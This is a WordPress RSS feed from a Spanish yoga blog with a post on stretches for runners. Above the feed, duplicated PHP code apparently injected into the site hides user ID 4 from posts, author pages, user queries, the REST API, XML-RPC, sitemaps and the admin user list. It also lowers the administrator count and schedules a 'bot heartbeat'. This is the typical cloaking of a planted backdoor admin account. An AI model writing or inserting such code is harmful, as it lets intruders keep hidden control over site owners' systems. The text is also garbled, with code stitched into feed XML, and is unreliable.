add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
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add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
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add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
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    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
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    echo '<style>#user-4{display:none!important}</style>';
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    foreach ( array( 'all', 'administrator' ) as $key ) {
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                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
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    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
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	<title>janu sirsasana &#8211; Yoga con Arjuna</title>
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	<item>
		<title>YOGA PARA RUNNERS</title>
		<link>http://www.yogaconarjuna.com/2016/04/12/yoga-para-runners/</link>
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		<pubDate>Tue, 12 Apr 2016 16:21:02 +0000</pubDate>
		<dc:creator><![CDATA[Arjuna Virayoga]]></dc:creator>
				<category><![CDATA[Sin categoría]]></category>
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		<description><![CDATA[<p>Hoy dedico mi post a los Runners, no es novedad que cada vez más gente práctica el running. Y ahora se acerca el tiempo ideal para salir a correr unos kilómetros! Es tan importante el estiramiento después de una carrera o un entreno como una buena alimentación o un buen calzado. El running nos aporta...&#160;<a href="http://www.yogaconarjuna.com/2016/04/12/yoga-para-runners/">[Leer&#160;más]</a></p>
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]]></description>
				<content:encoded><![CDATA[<p style="text-align:justify;">Hoy dedico mi post a los Runners, no es novedad que cada vez más gente práctica el running. Y ahora se acerca el tiempo ideal para salir a correr unos kilómetros!</p>
<p style="text-align:justify;">Es tan importante el estiramiento después de una carrera o un entreno como una buena alimentación o un buen calzado.</p>
<p style="text-align:justify;">El running nos aporta muchísimos beneficios: Fortalece huesos, mejora el sistema cardiorespiratorio, regenera la masa muscular, mejora las defensas, ayuda a elimina el estrés y la ansiedad y un sinfín de beneficios más.<span id="more-671"></span></p>
<p style="text-align:justify;">Todo esto con una práctica de yoga seria genial! Aunque si todavía no estas iniciado en la práctica del Yoga, te dejo tres asanas (posturas) para estirar tus piernas después de tu carrera.</p>
<p style="text-align:justify;"><strong>Supta Virasana , </strong><strong>Janu Sirsasana y </strong><strong>Ardha Matsyendrasana.</strong></p>
<p style="text-align:justify;">El hecho de que sean asanas de suelo nos permite tomar consciencia de nuestro cuerpo y bajar pulsaciones suavemente. Una manera de conectar con la tierra y descargar también la tensión que se haya podido acumular tras la carrera. Y como no, ya que estas sentado aprovecha unos minutos para meditar, ir hacia adentro, controlar la respiración y dejar que tu mente se calme.</p>
<p><span style="text-decoration:underline;"><strong><em>Supta Virasana</em></strong></span>: Supta = Tumbado,  Vira = Héroe, guerrero.</p>
<p><img class="alignnone size-full wp-image-675" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-42-43.jpg" alt="2016-04-12 16.42.43" width="2235" height="1669" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-42-43.jpg 2235w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-42-43-300x224.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-42-43-768x574.jpg 768w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-42-43-1024x765.jpg 1024w" sizes="(max-width: 2235px) 100vw, 2235px" /></p>
<p style="text-align:justify;">Estiramiento anterior del cuerpo. Estiramos el abdomen, el pectoral mayor, la tibial anterior, el glúteo mayor, el psoas mayor, el dorsal ancho, los empeines y en definitiva toda la cara anterior de las piernas.</p>
<p style="text-align:justify;">Aportándonos también beneficios como:</p>
<ul>
<li style="text-align:justify;">Mejor funcionamiento del sistema digestivo y de la digestión.</li>
<li style="text-align:justify;">Fortalece los arcos.</li>
<li style="text-align:justify;">Ayuda a aliviar las piernas cansadas.</li>
<li style="text-align:justify;">Alivia los síntomas de dolor menstrual.</li>
<li style="text-align:justify;">Es útil y ayuda en el tratamiento de la ciática.</li>
</ul>
<p>&nbsp;</p>
<p><strong><em> </em></strong><strong><em><span style="text-decoration:underline;">Janu Sirsasana</span>: </em></strong>Janu= Rodilla, Sirsa= cabeza</p>
<p><img class="alignnone size-full wp-image-676" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-43-27.jpg" alt="2016-04-12 16.43.27" width="866" height="866" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-43-27.jpg 866w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-43-27-150x150.jpg 150w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-43-27-300x300.jpg 300w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-43-27-768x768.jpg 768w" sizes="(max-width: 866px) 100vw, 866px" /></p>
<p style="text-align:justify;">Estiramiento posterior del cuerpo. Estiramos los gemelos, el sóleo, los isquiotibiales, el dorsal ancho, los extensores de la columna, los glúteos y en definitiva toda la cara posterior de las piernas.</p>
<p>Aportándonos también beneficios como:</p>
<ul>
<li>Calmar el cerebro y ayudar a aliviar las depresiones.</li>
<li>Estirar la columna, los hombros, los tendones de la corva y las ingles.</li>
<li>Estimular el hígado y los riñones.</li>
<li>Mejora la digestión.</li>
<li>Alivia los síntomas de la menopausia.</li>
<li>Alivia la ansiedad, los dolores de cabeza y la fatiga.</li>
<li>Ayuda en los tratamientos de tensión alta, insomnio y sinusitis.</li>
<li>Fortalece los músculos de la espalda.</li>
</ul>
<p>&nbsp;</p>
<p><span style="text-decoration:underline;"><strong><em>Ardha Matsyendrasana</em></strong></span>: Ardha= Media, Matsya= Pez, Indra= Señor</p>
<p><img class="alignnone size-full wp-image-674" src="http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-41-40.jpg" alt="2016-04-12 16.41.40" width="675" height="675" srcset="http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-41-40.jpg 675w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-41-40-150x150.jpg 150w, http://www.yogaconarjuna.com/wp-content/uploads/2016/04/2016-04-12-16-41-40-300x300.jpg 300w" sizes="(max-width: 675px) 100vw, 675px" /></p>
<p style="text-align:justify;">Estira la columna vertebral, los músculos que unen las vértebras de forma oblicua, es decir los músculos rotadores o musculatura paravertebral.</p>
<p style="text-align:justify;">Estiramos el esplenio de la cabeza, los romboides, los erectores de la columna, el esternocleidomastoideo, el piramidal, el gémino superior e inferior y el obturador interno.</p>
<p style="text-align:justify;">La torsión de las vértebras también favorece la hidratación de los discos intervertebrales y las articulaciones vertebrales adquieren mayor elasticidad restaurando la movilidad a la columna.</p>
<p style="text-align:justify;">Aportándonos también beneficios como:</p>
<ul>
<li style="text-align:justify;">Abre espacios Intervertebrales que favorecen la circulación sanguínea.</li>
<li style="text-align:justify;">Estimula el hígado y los riñones</li>
<li style="text-align:justify;">Estira los hombros, las caderas y el cuello</li>
<li style="text-align:justify;">Revitaliza la columna</li>
<li style="text-align:justify;">Estimula el aparato digestivo y la digestión</li>
<li style="text-align:justify;">Alivia dolores menstruales, el cansancio, los dolores ciáticos y el dolor de espalda</li>
<li style="text-align:justify;">Resulta de utilidad para combatir el asma y la infertilidad</li>
</ul>
<p style="text-align:justify;">Ya sabéis “Runners” cuando acabéis vuestras carreras podéis dedicar unos minutos a sentaros, reposar y estirar con conciencia. Os aconsejo como dije antes, después del estiramiento, una breve meditación. De esta forma cuidareis mejor vuestra musculatura y  también vuestra mente.</p>
<p>&nbsp;</p>
<p>Arjuna</p>
<p>&nbsp;</p>
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